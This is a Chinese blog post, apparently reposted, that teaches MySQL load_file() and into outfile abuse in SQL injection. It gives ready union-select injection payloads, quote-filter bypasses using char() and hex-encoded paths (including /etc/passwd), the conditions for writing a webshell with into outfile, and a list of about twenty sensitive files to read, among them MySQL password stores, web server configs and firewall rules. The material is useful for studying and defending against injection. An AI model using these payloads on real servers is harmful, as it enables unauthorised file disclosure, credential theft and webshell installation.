zoukankan      html  css  js  c++  java
  • mysql load_file在数据库注入中使用

    load_file函数只有满足两个条件就可以使用:

    1、文件权限:chmod a+x pathtofile

    2、文件大小: 必须小于max_allowed_packet


    例子:

    select load_file('D:xampphtdocswwwwanjuhtaccess.txt')

    select load_file('/etc/hosts')

    例如上面的例子是有条件限制的:

    1、必须有权限读取并且文件必须完全可读。

       and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/

       and (select count(*) from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/

    2、欲读取文件必须在服务器上

    3、必须指定文件完整的路径

    4、欲读取文件必须小于max_allowed_packet

      如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限。

    在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到administrators才能访问的文件,

    users就不能实现用load_file读取文件了。


    在实际的注入中,我们有两个难点需要解决:

    1、绝对物理路径。

    2、构造有效的畸形语句。

       在很多PHP程序中,当提交一个错误的查询时,如果display_errors=on,程序就会暴露web目录的绝对路径,只有知道

    路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。


    利用:

      我们假设一个程序的SQL语句如下:

    select * from article where articleid=$id   (当前条件:magic_quotes_gpc = off, c:/boot.ini可读)

    此时,我们构造$id为:

    -1 union select 1,1,1,1,load_file('c:/boot.ini')

    我们的查询语句就变成:

    select * from article where articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

    程序就会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc=off的主机少之又少,怎么才能构造处没有

    引号的语句呢?

    看过<<SQL Injection with MySQL>>的朋友肯定知道用char()函数或者把字符转换成16进制。

    注:当前条件为magic_quotes_gpc=on, c:/boot.ini可读。

    我们构造$id为:

    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

    "char(99,58,47,98,111,111,116,46,105,110,105)"就是“c:/boot.ini"的ASCII代码。

    我们的查询语句就变成:

    select * from article where articleid=-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

    这样我们也可以成功读取boot.ini文件,还有把字符转换为16进制的:

    "c:/boot.ini"的十六进制是"0x633a2f626f6f742e696e69",所以上面的语句就变成:

    select * from article where articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)

    当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们可以用into outfile把文件导出。


    关于mysql into outfile注射,要使用into outfile 把代码写到web目录取得webshell首先需要3大先天条件:

    1、知道物理路径(into outfule '物理路径'), 这样才能写对目录。

    2、能够使用union (需要mysql 3以上的版本)

    3、对方没有对(')进行过滤(因为outfile后面的('')不可以用其他函数代替转换)

    后天条件需要二个:

    1、就是mysql用户拥有file_priv权限(不然就不能写文件或读文件)

    2、对web目录有写权限MS的系统就不说了,一般都会有权限的,但是*nix的系统,通常都是rwxr-xr-x,也就是

         说组跟其他用户都没有权限写操作,所以,要满足这5大条件还是蛮高难度的。


    mysql的load_file()常见的用法:

    1、replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)

    2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

    上面两个是查看一些php文件里完全显示代码。有些时候不替换一些字符,如"<"替换成"空格",返回的是网页。

    而无法查看到代码。

    3、load_file(char(47))可以列出FreeBSD, Sunos系统根目录。

    4、/etc/httpd/conf/httpd.conf或者/usr/local/apache/conf/httpd.conf查看linux apache虚拟主机配置文件。

    5、c:/Program Files/Apache Group/Apache/conf/httpd.conf或c:/apache/conf/httpd.conf 查看windows系统

      apache文件。

    6、c:/Resin-3.0.14/conf/resin.conf 或c:/Resin/conf/resin.conf 查看jsp开发网站的resin文件配置信息。

    7、/usr/local/resin/conf/resin.cof   查看linux系统配置的JSP虚拟主机

    8、d:/apache/apache2/conf/httpd.conf

    9、c:/Program Files/mysql.my.ini

    10、../themes/darkblue_orange/layout.inc.php    phpmyadmin 爆路径

    11、c:/windows/system32/inetsrv/MetaBase.xml  查看IIS的虚拟主机配置文件

    12、/usr/local/resin-3.0.22/conf/resin.conf   或/usr/local/resin-pro-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看

    13、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

    14、/etc/sysconfig/iptables 查看防火墙策略

    15、usr/local/app/php5/lib/php.ini    PHP 的设置

    16、/etc/my.cnf    MYSQL的配置文件

    17、/etc/redhat-release 红帽子的系统版本

    18、c:/mysql/data/mysql/user.MYD  存在MYSQL系统中的用户密码

    19、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

    20、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf    虚拟网站设置

    21、c:/windows/my.ini

    参考连接:https://m.aliyun.com/yunqi/ziliao/22820 

  • 相关阅读:
    《人月神话》阅读笔记02
    学习进度条-4
    课堂作业3
    MySql 8.0及对应驱动包匹配注意点
    关于Ubuntu中Could not get lock /var/lib/dpkg/lock解决方案
    STM32之ADC配置,ADC_Mode模式理解
    STM32串口中断的方式发送
    RTC 与RCC 之间的关系
    stm32 MDK5软件仿真之查看io口输出
    STM32 PWM学习
  • 原文地址:https://www.cnblogs.com/blacksunny/p/8060028.html
Copyright © 2011-2022 走看看